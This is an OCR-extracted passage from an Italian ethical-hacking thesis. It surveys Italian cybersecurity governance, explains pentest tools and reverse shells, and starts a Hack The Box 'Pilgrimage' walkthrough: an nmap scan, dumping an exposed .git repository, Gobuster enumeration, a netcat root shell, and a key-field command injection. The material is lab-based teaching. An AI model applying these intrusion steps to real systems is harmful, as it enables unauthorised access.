spazio cibernetico.

Ecco quali sono le funzioni del Comitato:

— Proporre al Presidente del Consiglio dei ministri gli indirizzi generali da perseguire
nel quadro delle politiche di cybersicurezza nazionale.

- Esercitare l'alta sorveglianza sull’attuazione della strategia nazionale di cybersicu-
rezza.

— Promuove 'adozione delle iniziative necessarie per favorire I'efficace collabora-
zione, a livello nazionale e internazionale, tra i soggetti istituzionali e gli operatori
privati interessati alla cybersicurezza, nonché per la condivisione delle informa-
zioni e per 'adozione di migliori pratiche e di misure rivolte all’obiettivo della
cybersicurezza e allo sviluppo industriale, tecnologico e scientifico in materia di
cybersicurezza.

* Il Nucleo per la Cybersicurezza: nasce a supporto del Presidente del Consiglio dei mi-
nistri nella materia della cybersicurezza, per gli aspetti relativi alla prevenzione e
preparazione ad eventuali situazioni di crisi e per l'attivazione delle procedure di
allertamento.

I1 Nucleo puo:

— Formulare proposte di iniziative in materia di cybersicurezza del Paese, anche nel
y
quadro del contesto internazionale in materia.

— Promuovere la programmazione e la pianiﬁcazione operativa della risposta a
situazioni di crisi cibernetica da parte delle amministrazioni e degli operatori
privati interessati.

— Promuovere e coordinare lo svolgimento di esercitazioni interministeriali, ovve-
ro la partecipazione nazionale in esercitazioni internazionali che riguardano la
simulazione di eventi di natura cibernetica al fine di innalzare la resilienza del
Paese.

— Valutare e promuovere, in raccordo con le amministrazioni competenti per speciﬁci
proﬁ]i della cybersicurezza, procedure di condivisione delle informazioni, anche
con gli operatori privati interessati, ai fini della diffusione di allarmi relativi ad
eventi cibernetici e per la gestione delle crisi.

Il Governo, attraverso I'approvazione della legge, intende promuovere la cultura della
sicurezza cibernetica e aumentare la consapevolezza sul tema all’interno del settore pubblico
e privato, accendendo i riflettori sui rischi e sulle minacce cyber.

Negli ultimi anni, infatti, l’accresciuta esposizione alle minacce cibernetiche ha eviden-
ziato la necessita di sviluppare, in tempi brevi, idonei e sempre pit stringenti meccanismi
di tutela e Cyber Security; basti pensare che, secondo gli ultimi dati sulla cybercriminalita
raccolti dalla Commissione europea e riportati da Ansa, gli attacchi informatici su larga in
Europa sono passati da 432 nel 2019 a 756 nel 2020, registrando un aumento del 75% rispetto
al 2019.
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Tra i settori maggiormente colpiti ci sono il “Multiple Targets” (20% del totale degli
attacchi), che comprende attacchi realizzati verso molteplici obiettivi spesso indifferenziati, il
settore Governativo, militare, Forze dell’ordine e Intelligence (14% del totale degli attacchi),
la sanita, (12% del totale degli attacchi), la ricerca e Istruzione (11% del totale degli attacchi) e
i servizi online (10% del totale degli attacchi). Inoltre, sono cresciuti gli attacchi verso Banking
Finance (8%), produttori di tecnologie hardware e software (5%) e infrastrutture critiche (4%).



CAPITOLO 2

Tecnologie coinvolte

In questo capitolo, si esploreranno in dettaglio le tecnologie fondamentali coinvolte nell’esecuzione di tre
distinti penetration test, descritti in modo piit accurato nei capitoli successivi, ciascuno con un focus unico e
specifico. Ci immergeremo nell’ambiente di lavoro, nelle metodologie, nei concetti chiave e negli strumenti
necessari per valutare la sicurezza e la robustezza di sistemi informatici, al fine di individuarne le possibili
vulnerabilita e mettere in pratica dei penetration test.

2.1 Kali Linux

Nell’ambito della cybersecurity, al fine di eseguire operazioni pilt sofisticate rispetto
ad altri sistemi operativi come macOS o Windows, viene utilizzata una forma riadattata
del sistema operativo Linux denominata Kali Linux. Basato su Debian, anziche su Ubuntu,
Kali Linux offre un ambiente agile, potente e una grande facilita di utilizzo tale da essere
ampiamente utilizzato da professionisti della sicurezza informatica, da ethical hacker e
penetration tester per identificare e risolvere vulnerabilita nei sistemi e nelle reti. Inoltre,
il sistema operativo in considerazione dispone di una suite di software preinstallati che
semplificano la vita agli ethical hacker, tra cui ricordiamo:

* Nmap: acronimo di "Network Mapper", strumento di scansione di rete ampiamente
utilizzato per eseguire il rilevamento di dispositivi e servizi su una rete.

e John the Ripper: spesso abbreviato come "John", potente strumento di cracking delle
password utilizzato per testare la sicurezza delle password in sistemi e servizi.

* Burp Suite: strumento di sicurezza informatica ampiamente utilizzato per il penetra-
tion test, la valutazione della sicurezza delle applicazioni web e il rilevamento di
vulnerabilita.

Al tempo stesso Kali Linux rappresenta una piattaforma altamente personalizzabile in
quanto, con 'uso di metapacchetti, ottimizzati per i task specifici di un professionista della
sicurezza, e un processo di personalizzazione ISO altamente accessibile e ben documentato, e
sempre facile generare una versione ottimizzata di Kali per le proprie esigenze specifiche.

Kali Linux & una distribuzione open source offerta gratuitamente al pubblico che puo
essere installata sia su architetture di processori a 32 bit che a 64 bit. Ne ricordiamo anche
'uso in versione virtualizzata, ossia su macchine virtuali, come, ad esempio, VMware Fusion,
un’applicazione di virtualizzazione progettata per consentire agli utenti di eseguire sistemi
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operativi diversi, inclusi Windows, Linux, Kali Linux e altri, all’interno di una macchina
virtuale su un computer Mac.

Per installare I'ISO del sistema operativo d’interesse, ci si puo recare alla pagina ufficiale
di download https://www.kali.org/get—kali/#kali—-platforms.

Nella Figura 2.1 si puo notare un classico esempio di Kali Linux installato sulla virtual
machine VMware Fusion.

KINTRTNUK

"the quieter you become, the more you are able to hear”

Figura 2.1: Esempio di schermata desktop di Kali Linux

2.2 Hack The Box

Al fine di apprendere i metodi e le tecniche fondamentali per effettuare un penetration
test in modo etico, senza arrecare danni a hessuna macchina o individuo, nel 2017 é stata
introdotta la piattaforma Hack The Box, nella quale e possibile esercitarsi effettuando dei
penetration test con macchine messe a disposizione, in modo tale da simulare attacchi sicuri
in un contesto pratico.

Ogni macchina bersaglio fornita da Hack The Box ha un proprio livello di difficolta (very
easy, easy, medium, hard o insane) e un proprio sistema operativo (Linux, Windows, Android
etc.). A prescindere dalle caratteristiche di ogni macchina, per ognuna di esse si devono
ricavare due flag: la user flag e la root flag. La fase della ricerca della user flag € denominata
exploitation e si riferisce ad un livello di utenza base, mentre la fase di ricerca della root
flag & denominata post-exploitation e si riferisce ad un livello di utenza con i privilegi di
amministratore.

Un prerequisito fondamentale per iniziare un penetration test ¢ il collegamento alla VPN
corrispondente alla macchina bersaglio fornita da HTB; per effettuare tale collegamento:

1. siscarica il file .ovpn disponibile sul sito;

2. dall'interfaccia a riga di comando (terminale) si digita il seguente comando "sudo
openvpn nomefile.ovpn”.

L'operazione sara effettuata con successo se sullo schermo apparira il seguente output
"Inizialization Sequence Completed" e, recandosi sul sito di Hack The Box, la connessione
risultera attiva. Da notare che, per tutta la durata del penetration test, il terminale su cui &
stata effettuata la suddetta operazione deve rimanere aperto.


https://www.kali.org/get-kali/#kali-platforms
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Una volta individuate le due ﬂags corrispondenti ad una macchina specifica, verranno
aggiunti dei punti al proprio profilo, come si vede nella Figura 2.2.

Pilgrimage has been Pwned!

atulation @Truslﬂ_:_---.::ﬁ ick in capturing

12 Aug 2023

PWN DATE

Figura 2.2: Esempio di macchina risolta

2.3 Enumerazione

L’'enumerazione é una fase fondamentale nel processo di penetration test e nell’analisi di
sicurezza delle reti e delle applicazioni. Essenzialmente, si tratta di raccogliere informazioni
dettagliate su un sistema target o una rete al fine di identificare vulnerabilita, porte aperte,
servizi in esecuzione, account utente, file nascosti o altre informazioni rilevanti che possono
essere sfruttate o analizzate ulteriormente per valutare la sicurezza e la robustezza del sistema.
In questo contesto, vedremo due strumenti molto utili per I'enumerazione ovvero Nmap e
Gobuster.

2.3.1 Nmap

Nmap e un software che ha guadagnato una notevole notorieta nel campo della sicurezza
informatica e dell’amministrazione di rete. E una vera e propria "mappa" del mondo digitale,
uno strumento che aiuta a esplorare e capire le complesse reti di computer che permeano la
vita quotidiana.

Questo strumento, sviluppato da Gordon Lyon, noto come "Fyodor", ha una storia lunga
e interessante. E iniziato come un piccolo progetto personale e si e evoluto fino a diventare
uno dei software di sicurezza informatica pit utilizzati e rispettati al mondo. Oggi, Nmap &
open source e gratuito, un simbolo della comunita globale della sicurezza informatica che
collabora per proteggere la nostra presenza digitale.

Ma perché Nmap e cosi importante? Perché e uno strumento che ci aiuta a guardare sotto
la superﬁcie delle reti, a identificare le porte aperte e i servizi in esecuzione su di esse. Esso
ci consente di conoscere meglio i sistemi operativi che rispondono alle nostre richieste e ci
fornisce un quadro dettagliato delle reti che analizziamo.

Nmap e uno strumento versatile. Puo essere utilizzato per scopi legittimi come il penetra-
tion test e la valutazione della sicurezza, aiutandoci a individuare vulnerabilita nelle reti e
nei sistemi. Tuttavia, la sua potenza pud anche essere sfruttata per scopi malevoli, motivo per
cui e essenziale utilizzare Nmap in modo etico e legale, ottenendo sempre I'autorizzazione
appropriata prima di condurre scansioni su sistemi o reti che non si possiedono o di cui non
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si hanno i diritti per testarli.

Per scaricare Nmap sulla propria macchina Kali Linux, si puo digitare da interfaccia a
riga di comando il seguente comando "sudo apt install nmap".

In Figura 2.3 si puo notare un esempio di esecuzione di Nmap nel caso di una scansione
specificando I'indirizzo IP di una macchina.

Starting Nmap L

Nmap scan report for pilgrimage.ht

Host is up .@52s latency)

Not shown

PORT CE VERSION
0 H 8.4p1 Debian 5+debllul (protocol 2.0@)

Figura 2.3: Esempio di utilizzo di Nmap
Nel comando in Figura 2.3 sono stati utilizzati i seguenti parametri:

¢ sC: equivalente a "script:default"; indica a Nmap di eseguire gli script di scansione
predeﬁniti i quali forniscono informazioni sui servizi e sulle potenziali vulnerabilita.

¢ sV, per sondare le porte aperte andando a determinare le informazioni sui servizi in
ascolto su quest’ultime e provando a identificarne le versioni.

® Pn, per ignorare il discovery di host e considerare il bersaglio come "online", indipen-
dentemente dal suo stato.

2.3.2 Gobuster

Gobuster & un software open source e gratuito, sviluppato dalla comunita di sicurezza
informatica, progettato per I'enumerazione di directory e file su server web. In altre parole,
Gobuster & un esperto esploratore digitale che si avventura nel mondo delle applicazioni
web alla ricerca di informazioni nascoste.

La potenza di Gobuster risiede nella sua capacita di scandagliare un server web in modo
sistematico e automatizzato alla ricerca di risorse che potrebbero non essere immediatamente
visibili o accessibili tramite navigazione standard. Questo & fondamentale nel penetration test
e nella valutazione della sicurezza delle applicazioni web, poiché ci consente di identificare
directory o file che potrebbero contenere informazioni sensibili o vulnerabilita.

Un aspetto cruciale da sottolineare & che Gobuster puo essere utilizzato per scopi etici
e legali, come parte di un processo di penetration test per migliorare la sicurezza delle
applicazioni web. Tuttavia, é altrettanto importante utilizzare questo strumento in modo
responsabile, ottenendo sempre I'autorizzazione appropriata prima di eseguire scansioni su
applicazioni o server web che non ci appartengono o per i quali non siamo autorizzati.

Per il suo funzionamento il tool Gobuster richiede 1'utilizzo delle wordlist, che sono
elenchi di parole o stringhe predefinite che vengono utilizzate per condurre la scansione e
I'enumerazione di directory, file o risorse su un server web. Queste wordlist contengono una
serie di possibili nomi di directory, nomi di file o stringhe, che potrebbero essere presenti o
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utilizzate in un’applicazione web. Nel caso di Kali Linux, I’elenco delle wordlist si trovano
nella directory /usr/share/wordlists.

Inoltre il tool necessita di una serie di parametri in riferimento all’indirizzo da scansionare,
alla wordlist, alla verbosita, etc.

Notiamo, nella Figura 2.4, un esempio di utilizzo di Gobuster; in particolare viene illustra-
to I'output dopo aver eseguito il comando da interfaccia a riga di comando gobuster dir
-u http://pilgrimage.htb —-w /usr/share/wordlists/dirbuster/directory
—list-2.3-medium.txt —-x php, txt, png, html. Quest'ultimo & utilizzato per esegui-
re una scansione di directory sul sito web http: //pilgrimage.htb utilizzando una lista
di possibili nomi di directory e file forniti nel file directory-1ist-2.3-medium.txt
con l’obiettivo di individuare directory e file con le estensioni . php, .txt, .pnge .html
all'interno del sito web.

y enumeration mode

out.php
dor

/dashboard. php
/tmp

foht
F! r

4 Finished

Figura 2.4: Esempio di utilizzo di Gobuster

2.4 Shell

La shell rappresenta uno strumento fondamentale nel corso di un penetration test; il suo
impiego si trova sia nella fase di exploitation che in quella di post-exploitation.

Infatti, nella fase di exploitation, 1’obiettivo principale & quello di ottenere una shell del
sistema target, ossia un’interfaccia a riga di comando (Command Line Interfﬂce o CLI) che
permette all’'utente di eseguire comandi operativi al fine di compiere attivita di raccolta di
informazioni e sfruttamento delle vulnerabilita. In altre parole la shell viene utilizzata per
ottenere un accesso diretto, interattivo e persistente nel tempo, al sistema target. Questo ac-
cesso puo essere ottenuto attraverso l'exploit di vulnerabilita, come vulnerabilita di sicurezza
del software, errori di conﬁgurazione o altre debolezze.

Una volta ottenuto I"accesso, gli attaccanti possono utilizzare la shell per eseguire codice
arbitrario sul sistema target. Questo puo includere 1'esecuzione di comandi, script o program-
mi che consentono agli attaccanti di eseguire attivita malevole o di configurare il sistema a
proprio vantaggio.

Anche nella fase di post-exploitation troviamo l'impiego di una shell in quanto gli attaccanti
la possono utilizzare per cercare opportunita di escalation dei privilegi. Cio significa che
tentano di ottenere livelli pit elevati di accesso e controllo sul sistema, che consentono
loro di eseguire operazioni con privilegi amministrativi o di root. Quest'ultimo fenomeno e
denominato Privilege escalation.

Nel caso di un sistema operativo come Kali Linux si hanno due tipi di Shell ottenibili:
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* Bind Shell: & un tipo di shell remota in cui un’applicazione o un servizio sul sistema
target apre una porta speciﬁca e resta in ascolto delle connessioni in arrivo. L'attaccante,
quindi, si connette a questa porta da un altro sistema e stabilisce una sessione di shell
remota con il sistema bersaglio. Ecco spiegato il suo funzionamento:

— Il sistema target avvia unapplicazione o un servizio (ad esempio, un server Telnet
0 SSH) che ascolta su una porta specifica (ad esempio, la porta 22 per SSH).

- L'attaccante, da un altro sistema, utilizza uno strumento o un comando per
connettersi alla porta speciﬁca aperta sul sistema target.

— Una volta stabilita la connessione, 1’attaccante ottiene una shell remota sul siste-
ma bersaglio e puo eseguire comandi come se fosse fisicamente presente sulla
macchina.

La bind shell & utile quando l'attaccante ha la capacita di connettersi direttamente al
sistema bersaglio e vuole ottenere un accesso interattivo.

* Reverse Shell: essa funziona in modo opposto rispetto alla Bind Shell. Osserviamone il
funzionamento:

- L'attaccante compromette un sistema target e fa in modo che questo sistema si
connetta a un server controllato dall’attaccante.

- Una volta compromesso, il sistema bersaglio avvia una connessione di rete al
server dell’attaccante anziché attendere connessioni in arrivo.

— Quando la connessione viene stabilita, ’attaccante ottiene una shell remota sul
sistema bersaglio, consentendo di eseguire comandi nel contesto del sistema
bersaglio.

La reverse shell e particolarmente utile quando I'attaccante & dietro un firewall o una
rete protetta e non puo stabilire facilmente una connessione diretta al sistema bersaglio.

La Figura 2.5 illustra in modo intuitivo le principali differenze tra bind shell e reverse
shell.

Reverse Shell

La vittima si collega all’attaccante

Attaccante
CCBY-MCMD onoffri.ong
I . ]
IP: 192.168.100.104 IP: 192.168.100.103
Porta in ascolto: 4444 .
Bind Shell
L'attaccante si collega alla vittima
Attaccante
|
IP: 192.168.100.104 IP: 192.168.100.103

Porta in ascolto: 4444

Figura 2.5: Differenza tra Bind Shell e Reverse Shell
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2.4.1 Netcat

Netcat, spesso abbreviato come "nc", & uno strumento di rete versatile e potente utilizzato
per creare connessioni di rete, inviare dati tra computer e svolgere varie operazioni di rete. E
noto come il "cacciavite su rete" a causa della sua versatilita e delle numerose funzioni che
offre. Ecco alcune delle principali caratteristiche e utilizzi di Netcat:

e Creazione di connessioni di rete: Netcat puo essere utilizzato per creare connessioni TCP o
UDP tra computer, consentendo la comunicazione in tempo reale tra di essi.

® Port scanning: Netcat puo essere utilizzato per eseguire scansioni di porte su un host
per identificare le porte aperte e i servizi in esecuzione.

® Port knocking: Netcat puo essere utilizzato per questa tecnica di sicurezza in cui una
sequenza speciﬁca di connessioni alle porte viene utilizzata per aprire una porta
normalmente chiusa.

* Reverse shell: Netcat e spesso utilizzato per creare una "reverse shell", consentendo
a un utente remoto di ottenere accesso a una shell interattiva su un sistema target
COmMpromesso.

Riguardo all"ultimo caso, ossia alla creazione di una reverse shell, come si nota nella
Figura 2.6, il primo passo consiste nell'impostare un ascoltatore sulla macchina target, in
modo tale da agire come un server e ascoltare le connessioni in entrata.

L b b
listening on [a ol
connect to [10 .14.150] from (UNKNOWN) [10.10.11.219] 35748

id
uid=0(root) gid=0(root) groups=@(root)

Figura 2.6: Esempio d"uso di Netcat

In questo esempio si apre una connessione di rete dall’indirizzo IP 10.10.11.219,
alla porta 4444 del sistema per ascoltare le connessioni in arrivo, speciﬁcando I'opzione
—nvl1p ossia che Netcat deve essere eseguito in modalita "listener" sulla porta suddetta,
senza risoluzione DNS, con la modalita "verbose" attivata, per mostrare dettagli aggiuntivi
sull’attivita di rete e di connessione. Durante la connessione, e stato inviato il comando "id" e
come output si nota che si & eseguito tale comando con privilegi di amministratore (UID 0)e
che si e 'utente root.

2.4.2 Secure Shell

SSH (Secure Shell) & un protocollo di rete che fornisce un accesso sicuro ai computer re-
moti perché crittografa tutte le comunicazioni tra client e server. In altre parole, SSH consente
di costruire un cosiddetto tunnel SSH; ad un’estremita di questo tunnel i dati vengono critto-
grafati e inviati mentre all’altra estremita vengono ricevuti e decrittati. Essendo un protocollo
molto versatile, puo essere utilizzato per una varieta di attivita, come I'amministrazione
remota di server, ’accesso a file remoti e il debug di problemi di rete. SSH ¢ incluso nella
maggior parte delle distribuzioni Linux e Mac OS X e puo essere installato anche su sistemi
Windows.

Uno dei principali vantaggi di SSH é che crittografa tutto il traffico tra il client e il server,
rendendo difficile per gli utenti non autorizzati lo sniffing della connessione.
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Come gia accennato, & possibile stabilire una connessione SSH sicura solo se nel processo
sono coinvolti due sistemi; questi sono un client, ovvero un dispositivo locale da cui I'utente
esegue il controllo remoto, e un server, ovvero una macchina remota controllata da vari
comandi che vengono gestiti dall’interprete dei comandi (shell). E importante capire che &
possibile connettersi al server solo se su di esso é installato un software speciale denominato
Deamon. Senza di esso, I'utente non sara in grado di accedere al server e di utilizzare porte
SSH sicure durante lo scambio di dati. Questa condizione si applica anche al dispositivo
dell’utente; su di esso deve essere in esecuzione uno speciale programma client. Ad esempio,
su sistemi operativi come Linux, il programma OpenSSH e installato come impostazione
predefinita. L'interazione sicura tra client e server e chiamata sessione SSH.

Quando ci si connette a un server, SSH é responsabile di stabilire una connessione crit-
tografata in modo che i dati possano essere inviati avanti e indietro in modo sicuro. Per la
crittograﬁa, SSH utilizza chiavi speciali che codificano tutti i dati trasmessi tra il client e
I'host.

Nella Figura 2.7 si puo osservare 'avvio di una connessione Secure Shell a un host remoto
con l'indirizzo IP 10.10.11.219, utilizzando 1"account dell"utente "emily".

N

Figura 2.7: Avvio di una connessione SSH

2.5 Exploitation

L'exploitation & una fase chiave nell’ambito della sicurezza informatica e dei test di
penetrazione (penetration testing). Rappresenta il momento in cui gli esperti di sicurezza
informatica cercano di sfruttare le vulnerabilita e le debolezze nei sistemi informatici, nelle
applicazioni o nelle reti al fine di ottenere un accesso non autorizzato o esteso. Questa fase
e fondamentale per valutare la sicurezza di un sistema e per identificare eventuali rischi di
sicurezza.

Nella fase di ricerca di una vulnerabilita, ci possono essere diversi exploit con differente
affidabilita, ma, in generale, la sorgente da cui si attinge & "exploit-db.com", con la versione a
riga di comando searchsploit. Inoltre notiamo come i software messi a disposizione da Kali
Linux, ad esempio John The Ripper e GnuPG, svolgono un ruolo coadiuvante nella fase di
exploitation.

2.5.1 Searchsploit

Al fine di verificare se la versione di un servizio & vulnerabile, gran parte dei penetration
tester va a consultare il database presente al seguente indirizzo "exploit-db.com". Per incremen-
tare l'efficienza di tale database, & stata introdotta una versione del sito da riga di comando
denominata searchsploit. Tale strumento presenta due grandi vantaggi, ovvero:
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* Non érichiesto Internet per il suo utilizzo: quando si effettuano penetration test o ricerche di
vulnerabilita in reti o sistemi che potrebbero essere monitorati, 1'uso di una connessione
a Internet puo essere rilevato. Utilizzando Searchsploit offline si riduce il rischio di
essere scoperti attraverso il traffico di rete anomalo.

e E eseguibile da terminale, garantendo un impiego agile e intuitivo.

Searchsploit non e incluso nel toolkit di base di Kali Linux, ma puo essere scaricato da un
repository GitHub avente il seguente indirizzo "https://gitlab.com/exploit-databa
se/exploitdb".

Nella Figura 2.8 si esegue il comando searchsploit binwalk per cercare all’interno
del database Exploit Database informazioni sugli exploit (dettagli su di essi, le vulnerabilita
e le informazioni correlate) relativi a Binwalk, un tool per l'analisi di file binari. L'output
di quest’ultimo comando restituisce un file di nome 51249. py, file che verra utilizzato per
proseguire con l'exploitation.

~fScaricati
binwalk

v - Remote Command Execution (RCE)

Shellcodes: No Results

Figura 2.8: Esempio d"uso di Searchsploit da terminale

2.5.2 John The Ripper

John the Ripper & uno dei pitt famosi e potenti strumenti di recupero delle password
disponibili nell’ambito della sicurezza informatica. Il suo scopo principale & quello di testare
e valutare la sicurezza delle password, cercando di recuperarle attraverso varie tecniche di
cracking. Queste tecniche includono:

* L’attacco a dizionario (Dictionary attack): si basa sull’uso di un file dizionario contenente
una lista di parole o frasi comuni, insieme a possibili varianti. 11 software verifica ogni
parola o frase nel dizionario cercando di indovinare la password.

* L’attacco a forza bruta (Brute Force attack): John the Ripper prova ogni possibile com-
binazione di caratteri fino a quando non trova la password corretta. Questo metodo e
estremamente intensivo in termini di risorse e richiede molto tempo per terminare, ma
rappresenta l"approccio pitt completo.

Nella Figura 2.9 si nota come I'impiego di John The Ripper come software per il cracking
di password & fondamentale per decifrare un hash utilizzando una wordlist speciﬁcando il
percorso e il nome del file contenente 1"hash.

2.5.3 GnuPG

GnuPG, che sta per GNU Privacy Guard, e un software open-source e gratuito progettato
per la crittografia e la firma digitale. Si tratta di uno strumento essenziale per garantire la
privacy, la riservatezza dei dati e la sicurezza delle comunicazioni in un mondo digitale. GPG
cifra i messaggi utilizzando una coppia di chiavi (pubblica e privata) generate dall’utente.
Le chiavi pubbliche possono essere scambiate tra gli utenti in vari modi, principalmente
email e keyserver. Tuttavia bisogna prestare particolare attenzione alla corrispondenza tra
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~/Documenti/topology

hash.txt
ted hash type "mdScrypt", but the string is also

mat=mdScrypt-lo option to force loading these as that type i

f the cracked passwords reliably

Figura 2.9: Esempio di cracking di un Hash tramite John The Ripper

chiave e (presunta) identita: il problema di tutti i sistemi di crittografia asimmetrica e la
certificazione dell’autenticita della chiave, solitamente risolto con la presenza di un’autorita
centrale oppure con la firma delle chiavi (un utente firma la chiave pubblica di un altro utente
per certificarne I'effettiva autenticita). Su questo delicato punto si basa anche la firma digitale
di file (messaggi) per garantire 'autenticita del contenuto e del mittente.

Tuttavia, GnuPG puo avere un ruolo indiretto o coadiuvante in alcuni scenari di sicurezza
informatica. Ecco alcune situazioni in cui GnuPG potrebbe essere coinvolto:

* Comunicazioni sicure tra attaccanti: se piu attaccanti collaborano su un progetto o un
penetration test, potrebbero utilizzare GnuPG per proteggere le loro comunicazioni. Ad
esempio, potrebbero cifrare i messaggi e le informazioni sensibili per evitare che terze
parti non autorizzate accedano ai dettagli del progetto.

* Protezione delle chiavi crittografiche: nel caso in cui gli attaccanti utilizzino chiavi critto-
graﬁche per scopi specifici, GnuPG puo essere utilizzato per proteggere queste chiavi
con password sicure o per crittografarle su dispositivi di archiviazione.

» Comunicazioni sicure con terze parti collaboratrici: se gli attaccanti devono comunicare in
modo sicuro con terze parti collaboratrici, ad esempio aziende che forniscono servizi o
informazioni, potrebbero utilizzare GnuPG per cifrare le comunicazioni in modo che
solo le parti autorizzate possano accedere ai dati.

Si ricordi che GnuPG é preinstallato nel toolkit iniziale messo a disposizione dal sistema
operativo Kali Linux.

Nel caso mostrato in Figura 2.10, viene generata una chiave pubblica nel cui campo corri-
spondente a Nome e Cognome, come si pu0 notare nel riquadro evidenziato in rosso, viene
inserito un comando relativo ad un frammento di codice in Python con I'intento di eseguire
un’operazione all'interno dell’interprete Python stesso, per proseguire con I'exploitation.

~/Documenti/sandworm

g —full-generate-key" per una finestra di dialogo di gen

primo piano.

Figura 2.10: Esempio di generazione di chiave pubblica tramite GnuPG nel corso di un penetration
test



CAPITOLO 3

Un primo test di Ethical hacking

Nel corso di questo capitolo, come per i due successivi, esploreremo in dettaglio il processo di esecuzione
di un penetration test su una macchina virtuale. Descriveremo metodi e tecnologie necessari all’ottenimento
dell’accesso al sistema User e al sistema Root. In questo caso, la macchina target, messa a disposizione
dalla piattaforma di sicurezza informatica Hack The Box (HTB), descritta nella Sezione 2.2, & denominata
"Pilgrimage” ed & basata sul sistema operativo Linux.

3.1 Information Gathering

Il passo preliminare, come si nota nella Figura 3.1, & la creazione di una sottocartella della
cartella Documenti, avente lo stesso nome della macchina bersaglio, in modo tale che tutte le
azioni, i file e i tool saranno contenuti nella suddetta cartella.

E(I )-[~/Documenti/pilgrimage ]

Figura 3.1: Creazione cartella di nome Pilgrimage

Successivamente ci si collega alla corrispondente VPN del sito di HackTheBox, attraverso
il download del file . ovpn e l'esecuzione del comando sudo openvpn lab_Trustl4.ov
pn, e si avvia la macchina Pilgrimage.

Una volta effettuato cio, si inizia con I’enumerazione attraverso il comando nmap -sC
-sV -Pn 10.10.11.219, dove I'indirizzo IP corrisponde a quello della macchina Pilgri-
mage. Nel comando, come si osserva nelle Figure 3.2 e 3.3, sono stati utilizzati i seguenti
parametri:

¢ -sC (equivalente a "script=default"); indica a Nmap di eseguire gli script di scansione
predefiniti, i quali forniscono informazioni sui servizi e sulle potenziali vulnerabilita;

¢ -sV; consente di sondare le porte aperte determinando le informazioni sui servizi in
ascolto su queste ultime e identificando le versioni;

* -Pn; specifica di ignorare il discovery di host e di considerare il bersaglio come online
indipendentemente dal suo stato.

35
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Il risultato di questo comando & un elenco di porte aperte; in particolare, queste ultime
sono due ovvero:

® Porta 22: il servizio in ascolto &€ SSH (Secure Shell), che & un protocollo di rete crittogra-
fato utilizzato per la gestione remota sicura di sistemi;

® Porta 80: il servizio in ascolto @ HTTP (protocollo web), e "http-git" indica che e stata
trovata un’indicazione di un repository Git su questo server tramite 1’analisi dell’'HTTP.
Invece, 10.10.11.219:80/.git/ e 'URL del repository Git rilevato all'interno della

directory .git sulla porta 80.

- S 10.10.11.219

Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-10 15:55 CEST

Nmap scan report for pilerimage.htb (10.10.11.219)

Host is up ( latency).

Not shown: 998 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.4pl Debian 5+debliul (protocol 2.0)
ssh-host I

- 06f168f3 (RSA)

(ED25519)
p open http
-git:
10.10.11.219 /
Git repository fou
Reposi \ iption: Unnamed repository; edit this file
ame the...
as mmit me Pilgrimage image shrinking service initial commi

ripti

Git repository found!
Repository description: Unnamed repository; edit this file 'descripti
to name the...
_ Last commit message: Pilgrimage image shrinking service initial commi
. # Please

PHPSESSID:
httponly flag not set
ce Info: 05: Linux; CPE: ¢ linux:linux_ker

Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.31 seconds

Figura 3.3: Seconda parte dell’output del comando Nmap

Notiamo che, digitando 10.10.11.219:80/ .git/, si ha come risultato "403 Forbidden",
che & un codice di stato HTTP restituito da un server web quando una richiesta di accesso a
una risorsa é stata rifiutata perché il client non ha i permessi necessari per accedervi.

Inoltre, si nota che nel campo “http-title” vi e il titolo della pagina web rilevato attraverso
I'analisi HTTP, ossia "Pilgrimage—ShrinkYourImages".

Come mostrato in Figura 3.4, tramite il comando "sudo nano /etc/hosts", siapree
si modifica il file di conﬁgurazione degli host sul sistema Linux, creando un’associazione tra
I'indirizzo IP "10.10.11.219" della macchina Pilgrimage e il nome di dominio "pilgrimage.
htb".


10.10.11.219:80/.git/
10.10.11.219:80/.git/
Pilgrimage - Shrink Your Images
pilgrimage.htb
pilgrimage.htb
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GNU nano 7.2 /etc/hosts
10.10.11.219 pilgrimage.htb|
127.0.0.1 localhost

27.0.1.1 kali

I

HE| localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnode
ff02::2 ip6-allrouters

Figura 3.4: Modifica del file /etc/hosts

3.2 Vulnerability Analysis

A questo punto, basandoci sulle informazioni raccolte durante 'information gathering, si
passa all’analisi delle vulnerabilita. Nella Figura 3.5, procediamo a collegarci al sito web della
macchina avente titolo "Pilgrimage — Shrink Your Images" attraverso l'indirizzo IP:
http://10.10.11.2109.

Pilgrimage

SAVE SPACE AND SHRINK IT!

A free online image shrinker. Create an account to save your images!

Figura 3.5: Pagina del sito Pilgrimage

Utilizzando il comando "python3 —-m git_dumper http://pilgrimage.htb/.gi
t/ git", il cui output viene mostrato in Figura 3.6, effettuiamo, tramite l'interprete python3
e il tool git-dumper, il dump di un repository git indicandone il link. Come risultato avremo
varie directory corrispondenti a dei file git.

git_dumper http://pilgrimage.htb/.git/ git

Figura 3.6: Output del comando utilizzando l'interprete python3

Per avere maggiori informazioni, il prossimo step e eseguire il comando “gobuster dir
-u http://pilgrimage.htb —-w /usr/share/wordlists/dirbuster/directory
-list—-2.3-medium.txt —-x php,txt,png, html”.


http://10.10.11.219
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Quest’ultimo e utilizzato per eseguire una scansione di directory sul sito web "http:
//pilgrimage.htb" utilizzando una lista di possibili nomi di directory e file forniti nel file
"directory-list-2.3-medium.txt" conlobiettivo di individuare directory e file con le

estensioni ".php",".txt",".png" e ".html" allinterno del sito web (Figura 3.7).

n mode

index.php
Lhtml
login.ph

gout.php
ndor

/dashboard.php
/tmp

/html

Figura 3.7: Output del comando Gobuster

Si prova a cercare sul motore di ricerca la directory evidenziata in blu nella precedente
immagine e si osserva il risultato presente nella Figura 3.8:

b pilgrimage.htb,

li Forums € Kali MetHunter Exploit-DB

403 Forbidden

ngink/1.18.0

Figura 3.8: Risultato della ricerca di http://pilgrimage.htb/tmp/

Proviamo a cercare sul motore di ricerca il file /1ogin.php anteponendo al link la parola
chiave view-source; come si puo riscontrare in Figura 3.9, avremo come risultato la pagina
sorgente della corrispondente schermata di login del sito collegato alla macchina Pilgrimage.

Figura 3.9: Risultato della ricerca di view—source:http://pilgrimage.htb/login. php


http://pilgrimage.htb
http://pilgrimage.htb
http://pilgrimage.htb/tmp/
view-source:http://pilgrimage.htb/login.php
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3.3 Exploitation

